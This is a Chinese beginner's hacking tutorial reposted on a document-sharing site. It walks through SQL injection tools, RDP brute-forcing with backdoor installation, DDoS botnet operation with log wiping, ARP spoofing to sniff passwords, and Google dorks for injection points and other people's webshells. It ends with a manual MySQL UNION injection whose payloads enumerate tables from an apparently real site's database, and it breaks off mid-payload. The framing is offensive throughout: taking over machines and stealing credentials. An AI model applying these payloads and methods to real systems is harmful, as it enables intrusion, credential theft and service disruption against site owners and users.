从零开始走上黑客之路.docx
《从零开始走上黑客之路.docx》由会员分享,可在线阅读,更多相关《从零开始走上黑客之路.docx(22页珍藏版)》请在冰豆网上搜索。
从零开始走上黑客之路
0起点
1.1简单的术语介绍:
肉鸡:
被黑客操作的电脑,又叫傀儡机
蜜罐:
对于黑客来说有时是个陷阱,相当于钓鱼执法
0DAY:
高手使用的很少有人知道的漏洞。
、。
服务器:
具有强大功能的主机,网络的核心构成部分
SQL注入:
通过在页面提交注入语句爆出网站的危险信息
旁注:
通过寻找同服务器上其他网站的注入点达到入侵目的
webshell:
黑客提交到网站上的后门
木马:
潜伏在对方主机中并能给控制者一定操作权限的软件
挂马:
在网页里或者软件中挂上木马
路过式下载:
对方点开一个链接或打开一个网页就暗中下载你设置好的木马
溢出:
对程序输入非法数据导致程序出错或执行有害指令
弱口令:
简单的密码
调制解调器:
我们俗称的猫
嗅探:
捕获网络报文,对于网管和黑客都有重要意义
端口:
可以理解成进入主机的路
免杀:
通过一定手段修改软件特征使其不被查杀
协议族:
整个网络由诸多协议组成,实现各种功能
IP:
网络互连协议分配给上网主机的逻辑地址,使得主机与主机之间能互相通信
TCP:
传输控制协议,通过建立三次握手实现可靠地通信
UDP:
与TCP同在传输层的另一协议,无法得知其是否安全完整到达的目的
FTP:
允许匿名登录,提供上传下载等功能,早期没有WWW的时候通过FTP上网
TELNET:
远程命令行访问
ARP:
地址解析,把逻辑地址转化成物理地址
DOS攻击:
拒绝服务攻击。
使得攻击对象无法访问网络或者网站无法被访问
DDOS:
分布式DOS攻击,常见的UDP,SYN等等,黑客运用多肉鸡发动攻击
HTTP:
超文本传输协议
代理:
使用别人的地址上网,常用于隐藏自己
1.1.1服务器的分类(用途)
FTP服务器:
开启21或22端口,允许用户匿名或者使用账号登陆,可以上传或者下载文件的服务器。
通常大学里用来储存教学资料等。
可以直接用浏览器登陆,也可以使用工具
(推荐工具:
FXPFLASH)
代理服务器:
通常有HTTP代理,FTP代理,RTSP,POP3,SOCKS代理等,你可以通过代理服务器来访问网站,以达到隐藏自己IP目的,同样,一个外国的代理可以达到翻Q的效果,有时通过代理来访问限定区域访问的网站或服务器
(推荐工具:
花刺代理)
HTTP服务器:
通常我们访问的网站都搭建在HTTP服务器上、、、
(推荐工具:
IE(囧))
以上是三种常用的服务器类型,其他暂时不深入。
。
1.1.2漏洞
现在常用的漏洞有SQL注入漏洞,跨站漏洞,IPC$漏洞等等。
漏洞通常是见光死的,你经常会看到微软显示啥啥啥漏洞要修复,那就是能从代码里寻找到自己世界的大牛们找到漏洞并提交给微软,微软就对这些漏洞进行修复。
你可以去关心最新的漏洞,在第一时间(很多人还没有修复)的时候进行入侵,每一个高危漏洞出现消息的第一时间都会成为网络入侵的高峰。
还有一些漏洞只有狠厉害的高手私下交流,专门对付大的目标,这种漏洞就是0DAY,战无不胜的法宝。
。
当然我现在不指望能接触到这些了--
1.1.3端口知识
由于每一个端口就是进入系统的一条路,所以高清他们的用途和意义是非常重要的
使用的常见的端口和其意义:
1:
传输控制协议,端口服务多路开关选择
7:
echo
19:
只发送字符的一项服务
21:
FTP协议存在的端口
22:
SSH服务
53:
DNS服务器所开放的端口
79:
可用于获得信息,查询操作系统
80:
超文本传输协议
135:
RPC协议。
远程过程调用
139:
这个端口进入的连接试图获得NetBIOS/SMB服务
443:
能提供一种加密保护的http端口
445:
供局域网中文件或打印机共享服务
1433:
SQL
3389:
负责远程登录
110:
pop3开启
3306:
MYSQL开启的端口
1080:
socks代理开启的默认端口
1525:
oracle5900:
VNCSEVER运行
8888等空端口:
端口转发使用
写出的有限还希望高手指点补充
.2完美主义的简单入侵
我们假设入侵丝毫没有受到障碍,来简单诠释一下两种基础入侵的基本步骤。
。
SQL注入
。
爆破抓鸡
1.2.1sql注入
首先打开注入工具啊D
左边第一个箭头除,在网址栏输入并进入
输入inurl:
asp?
id=**(自己输入数字)
回车进入页面,发现几十个注入点!
(意淫出来的不要介意)
随便选一个,进行注入检测
表段看到admin了--那就检测字段吧,看到user和password就检测吧
检测出来,哇,没有加密
换到下一个方块扫后台,找到了,登陆用你的扫到的用户密码...
然后发现有数据库备份,还有上传,那就直接传个大马吧,之后再数据库改下后缀。
O了,SQL注入就这么简单(只是在意淫的时候简单)
(工具推荐:
啊D)
1.2.23389爆破
批量扫描:
扫描一个IP段3389开了的主机,放到一个TXT里
爆破:
用爆破软件装载IP,用户名字典和密码字典
然后批量爆破,抓到弱口令的机子用远程登录上一个shift后门
就可以这台主机是你的肉鸡了
以上是两种目前菜鸟最喜欢的入侵方式,有效是真,但是没有实际的意义
黑客的入侵很多时候是围绕着各种技术展开的,下一章进入实战
2.1ddos攻击详解
很多时候我们无法成功渗透下对方的主机,在这种情况下我们只能发动DDOS攻击
DDOS攻击是拒绝服务攻击,顾名思义它会让目标无法访问网站或者被访问。
DDOS与DOS的区别在于它注重的是多主机发动攻击,常见的攻击方式有SYNFlood、ACKFlood、UDPFlood、ICMPFlood、TCPFlood、ConnectionsFlood、ScriptFlood、ProxyFlood等,看到FLOOD你就应该明白这种攻击是暴力又流氓的打法,用大量的数据淹没受害主机。
记得在哪里看到05年的时候靖国牲社网站曾在一分钟内遭受到90万次攻击,如果这90万次都是渗透。
。
。
。
。
。
好吧我不敢想象了。
这说明DDOS着实有它的效果,但是又简单方便容易上手
下面来简单解释几种DDOS发包方式和黑客的操作方式
2.1.1UDP洪水
通过UDP协议发包,不要求应答,是一种狠野蛮的方式,UDP包的构造如下
不停发送会耗尽目标服务器的资源
2.1.2SYN发包
syn发包是一个半连接,只需要一次回复,而不像TCP协议需要三次握手。
少的这一次握手似的3SYN变得高效,UDP洪水在很久以前就几乎失去了效果,现在比较流行的洪水就是SYN。
(syn的发包方式)
2.1.3icmp洪水
俗称的邮箱炸弹,大量的垃圾邮件发送到目标邮箱中,相信你能想象那种下场吧
2.1.4重头戏:
TCP洪水
前面已经说过TCP是可靠地连接方式,这种方式的洪水破坏力很强大,经历三次握手的全连接,在有足够的肉鸡的情况下甚至可以达到一个人摧毁整个网站的效果
发包方式如图所示:
发包方式
TCP数据包结构示意
以上是一些发包原理的介绍,下面来解释发包表象上的过程
2.2.1ddos攻击的发动流程
首先,一个黑客需要抓足够多的肉鸡(这方法太多了)
他首先挑选出一个配置比较好的主机作为一级傀儡机(也许是台服务器),在这个傀儡机上装自己的控制软件,然后配置几十台到几百台的二级傀儡机,在上面装好DDOS软件(所谓分布式---)
完成这些步骤之后黑客登陆一级傀儡机,一声令下,所有的二级傀儡机开始攻击。
DDOS攻击就开始了。
当攻击结束的时候黑客关掉DDOS工具,同时清理一级肉鸡上面的登陆日志,退出一级肉鸡,这样就很难被人抓到了
3.1虚拟机的使用
虚拟机相比双系统虽然略慢但是任然有不少好处,比如穿透力不是非常强的病毒不会通过虚拟机危害到宿主机,没事用虚拟机做做实验也不怕把整个电脑搞坏。
。
。
总之用途很多。
虚拟机软件常用的有virtualpc,vmware等,个人比较喜欢用vm,下面简单介绍一下这款软件的用法。
VM的主界面,好吧我承认自己很CLASSICAL,用VM8还懒得升级==
下面我们尝试着新建一台虚拟机
选择自定义,然后下一步下一步,在这里我通常选择以后再安装操作系统。
。
选择操作系统和版本等等。
。
。
。
。
。
后面还有一些设置内存大小,硬盘大小,联网方式等等,可以选择默认,也可以适当调大一些,建议不往小的调
另外尽量装载一张空盘上
选中刚建的虚拟机,选择编辑虚拟机设置
选择CD/DVD,在右边选择用光盘或者ISO镜像装机
完成之后只要开启电源进入安装就可以了
4.1局域网攻防
局域网在小范围内工作,很多人以为这样的小范围内很安全,其实正是这种自以为是的安全感使局域网安全变得危机重重,很多没有安全意识的人在很短的时间内别黑客变成自己的肉鸡,或者轻松截取他们的账号等
下面来简单讲解一下局域网攻防的几个大概手法和作用吧
4.1.1arp协议简介
ARP协议负责的是将局域网中的逻辑地址和物理地址相互转换对应,学名地址解析协议。
也就是ip地址和mac地址之间的转换和对应,对应的信息被存放在主机的ARP高速缓存表里,大概每20分钟刷新一次,它的主要作用是通过目标IP找到网关地址以达到正常上网的目的。
4.1.2arp欺骗拒绝攻击原理,实践与防御
arp欺骗通常有两种目的,一是在混沌模式下截取所有路过的数据包,二是实现拒绝服务攻击。
先来解释一下拒绝服务攻击,这种攻击的原理其实很简单,攻击主机发出一条报文,声称自己是网关,然后发给被攻击的主机一个错误的网关mac地址,这样被攻击的主机所接受的网关mac为假,自然就不能正常上网了。
这样的软件有不少,个人比较推荐skiller,方便简单。
防御同时也是一大难题,ARP在内网入侵几乎是无孔不入,但是我们也不是完全没有防御的办法。
首先可以把自己的网关IP和MAC绑定设置成静态。
方法如下:
打开CMD输入arp-a找到网关ip和mac再输入arp-sipmac(win7要以管理员权限)这样,就能够实现绑定,初步确保安全。
其次是一些arp防火墙的原理.不停地清空arp缓存表,用到的指令时arp-d。
当然你也可以做成一个bat:
@echooff
:
loop
arp-d
gotoloop
cpu占用有些大,但是实际效果还是有的
4.1.3局域网内嗅探
ARP嗅探的用途真的无限广啊、、、通过它我们可以从同局域网的其他主机获取狠多我们想要得到的数据。
这些数据包括QQ密码,邮箱密码,甚至服务器的3389登陆账号密码
嗅探工具的原理:
将自己的网卡设置成混杂模式,这样我们的主机将会接受一切经过我们的数据包,不管发包者的初始对象是不是我
之后只需要设置过滤那些我们不需要的,而只把我们需要的信息显示出来的就行了==
表示编程不好,压力很大无力详细解释,还请多包涵
(推荐工具:
cain)
找到嗅探那一栏,开启混杂模式选到hosts点击加号,就可以看到此时在线的诸位了,然后添加到arp欺骗那一栏,设置要监听的具体信息。
选择监听开始就可以了
一段时间之后去看password栏,你也许会惊喜的发现。
。
。
局域网还有不少其他的入侵手法,比如通过IPC共享等等,在这里就先不多说了大家可以自己去搜索看看
5.1广域网攻防
这里我们才刚刚到黑客真正的技术层面来,由于个人技术狠有限,所掌握的技能也有限,所以只能再稍稍深入,再往后学到哪儿和大家交流到哪里了,。
,只是个人的学习思路,只是希望交流,不要误导到大家原来的学习思路。
也希望大牛们能稍稍关注下我等小菜,提供些技术指导啥啥的,真心谢谢哈
5.1.1网站基本构造
就个人的理解,一个网站通常都包涵有以下几个构成部件,html语言搭出的框架,插入的脚本,数据库。
。
PHP的站点通常会搭配MYSQL的数据库,ASP的站点用sqlserver或者access等等。
。
。
可能理解有误,错了请指正。
对与这些网站,我们可以想方设法的找突破口,一点一点的渗透,最终拿下最高权限,甚至再向后提权服务器。
以前有一个大牛告诉我,只要不是静态的网站永远不肯呢过没有漏洞,就看你有没有那个本事拿下。
作为一个菜鸟我通常回答木有,但是也有以下几个漏洞是适合我们菜鸟使用的,注入,跨站,暴库等等,我把自己对它们的一些理解和大家交流
5.1.2谷歌语法
谷歌语法是黑客的一门必修课,谷歌这种BUG的工具有很多BUG的功能
当然这些语法不仅仅限于谷歌,在XX上我们也可以进行运用,这也是我们批量寻找注入点的方法。
下面对谷歌语法做一些简单的介绍:
inurl:
asp?
id=*
这一条搜索语句是用的人最多的(尽管效果越来越差),经常有人问这东西是什么,其实这就是一个队url地址的限制搜索,指定搜索末尾以asp?
id=*的网页,这样的网页有时会存在注入点。
同样,你可以构造自己的注入点关键字...下面稍微深入介绍一下语法
5.1.2谷歌语法1
site:
限定搜索的网站或网站范围
例:
site:
(严肃。
。
我们是很学术的)
就可以搜索4399小游戏网的网页
可以再后面加上关键字
site:
双人闯关
搜索试试,嘎嘎,是不是全是有关双人闯关游戏的页面?
intitle:
搜索网页标题中的关键字
比如说楼主现在很有激情,想要一个人玩双人的拳皇
可以如下搜索:
site:
双人闯关intitle:
拳皇
搜索。
。
你就懂了
link:
指向指定页面的链接
例:
link:
www.****.com
假设楼上是快播的一个网站。
。
inurl:
楼上解释过的,相必大家都大概懂
allinurl:
返回的网页的链接中包含所有查询关键字
cache:
纯属借尸还魂的指令,搜索已经死了的,被删除的页面,类似快照
例:
cache:
url
info:
显示与某链接相关的一系列搜索
例:
info:
related:
搜索类型相似的页面
例:
relates:
大概有一些基础了我们就开始尝试实战吧
首先我们尝试吧一个网站内所有asp?
id结尾的页面列出来:
site:
*.cominurl:
asp?
id=
这是指定asp站点找注入点的方法之一
当然我们也可以看看有没有之前刮过shell,那就方便我们了
site:
*.cominurl:
.jsp
看看有没有jsp的webshell存在。
还可以查找后台登陆页面:
site:
*.cominurl:
login
site:
*.cominurl:
admin
site:
*.com登陆
site:
*.com管理
site:
*.comintitle:
login
等等。
。
。
大家可以自己发挥想象力
如果这些页面没有添加到robot.txt里我们就舒服了,不用爆,直接一条搜索出结果
同样利用它我们可以窃取别人的webshell:
很多人上传大马的时候不喜欢改名字,直接是dama.asp,newasp.asp等等的都很可能是webshell
那么我们输入inurl:
dama.asp
inurl:
newasp.asp
inurl:
*.jsp/php等等当然也可以做的复杂一些,这里简单介绍就不深入了
也可以根据具体漏洞制作
inurl:
FCKeditor/editor/filemanager/connectors/asp/connector.asp?
还有一些指令没有介绍,感兴趣的朋友可以自己去查找看看
5.1.3踩点。
。
在我们有了一个目标的时候,通常不会直接直接从网站下手,又是目标服务器上甚至也没有网站,这时我们需要运用一些简单的手段探测这个服务器的相关信息。
这些探测包括端口扫描,弱口令扫描,域名查询,系统类型分析等等,下面分步骤进行简单的介绍
端口扫描
端口提供不同的服务,所以通过端口扫描我们常常能获得大量的信息。
这是很重要的一个环节,因为每一个端口都可能成为你进入目标主机的一条路
常见扫描形式:
1.UDP扫描:
对UDP端口发送0字节的数据包,如果对方端口返回一个ICMP不可到达的错误则说明这个端口是关闭的,如果没有回应,可以认为是开启的,当然由于一些原因同样可以导致收不到回复,这影响了UDP扫描的准确性,并且由于系统限制ICMP报文的产生速度,UDP扫描会变得异常缓慢。
(不容易被对方发现)
2.FIN扫描:
针对UNIX系统和LINUX的扫描方式,我不太熟悉这套扫描的原理所以不能乱说。
(隐蔽)
3.SYN扫描,半连接扫描模式,之前已经有所解释,由于只完成一次握手的连接,SYN扫描的扫描速度非常快,效果也算不错,但是由于近年来防火墙对SYN洪水的防护,通过SYN数据包扫描端口也渐渐变得不是很准确。
具体手法是通过微软开发的用来维护系统安全的s.exe执行连接指令。
(不隐蔽。
易被拦截。
易被发现)
4.TCP扫描:
之前讲DOS攻击的时候我们已经解释了TCP的发包原理,当三次握手基于一个端口完成的时候就证明此端口是开启的。
由于这是很可靠的连接方式防火墙对此一般是没有任何防护措施的,扫描准确性非常高,但是由于要完成3次握手速度没有SYN那么快,另外容易暴露自己的逻辑地址,使用TCP扫描的时候建议使用socks代理。
(准确,易被发现)
推荐扫描工具:
(s扫描器等)
5.2SQL手工注入
步骤一:
判断注入点
方法和Access的一样,通过单引号、and1=1、and1=2判断
步骤二:
orderby和unionselect
通过orderby查出字段数目N,然后联合查询。
and1=2unionselect1,2,3,4...,N--
//首先and1=2报错,用单引号或在参数前加个"-"也行
//这里和Access不同,后面不用加"from表名";
最后面的"--"是注释符,注释掉后面的语句,防止出错,换成"/*"也行,也可以不加
//Access不支持注释符,MySQL和MSSQL支持
步骤三:
查出基本信息
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
and1=2unionselect1,2,version(),4...,N--
//介绍几个常用函数:
1.version()——MySQL版本
2.user()——用户名
3.database()——数据库名
4.@@datadir——数据库路径
5.@@version_compile_os——操作系统版本
我们可以通过将对应函数放到显示位中查出相应信息
//再介绍几个很有用的函数:
1.concat(str1,str2...)——没有分隔符地连接字符串
2.concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3.group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
说着比较抽象,其实也并不需要详细了解,
知道这三个函数能一次性查出所有信息就行了。
比如:
concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":
"的十六进制,在这里把它作为分隔符,;号的hex值
没有它,查出来的东西就连成一片了
//想多了解MySQL函数的可以XX下,
通过orderby查询得知有21个表段
unionselect联合查询得知回显数字2、4、7、8、19
再利用and1=2unionselect1,2,3,4,5,6,7,database(),9,10...21
得知表段8的数据库名字为:
cnw_web
物理路径:
/var/lib/mysql/
操作系统:
redhat-linux-gnu
爆表
group_concat(table_name)表将这个替换到回显数字
frominformation_schema.tableswheretable_schema=库名(hex)这个放到21后面并将cnw_web库名转化为hex值(小葵转换)
hexcnw_web=0x636E775F776562
这样我们就组成一个这样的查询语句
and1=2unionselect1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12,13,14,15,16,17,18,19,20,21frominformation_schema.tableswheretable_schema=0x636E775F776562
进行查询得到表段如下
book_review,catalog,catalog_magazine,catalog_promissory,click_log,columns,comment,comment_agree_and_oppose_log,commentary,edit_story,edit_story_content_and_author_cross,famous_magazine,famous_magazine_digest,focus_photo,keyword_cross,keywords,lifestyle,lifestyle_photo,magazine,magazine_content,magazine_content_and_author_cross,mark_log,new_book,news,photo_album,photo_photo,profundity_china_reports,profundity_china_reports_lable,profundity_china_topics,recommended,roundtable,salon,story,system_push,template,video,weibo,weibo_push
快速暴字段
group_concat(column_name)段将这个替换到回显数字
from%20information_schema.columns%20where%20table_name=表这个放到21后面并将system_push表名转化为hex值(小葵转换)
这样我们就组成一个这样的查询语句
进行查询得到字段如下
id,catalog_id,object_id,push_title,push_pic,push_description,push_link,push_order,status,id,catalog_id,object_id,push_title,push_pic,push_description,push_link,push_order,status,id,catalog_id,object_id,push_title,push_pic,push_description,push_link,push_order,status
双暴字段(直接爆出账户密码)
1,2,3,4,5,6,7,group_conc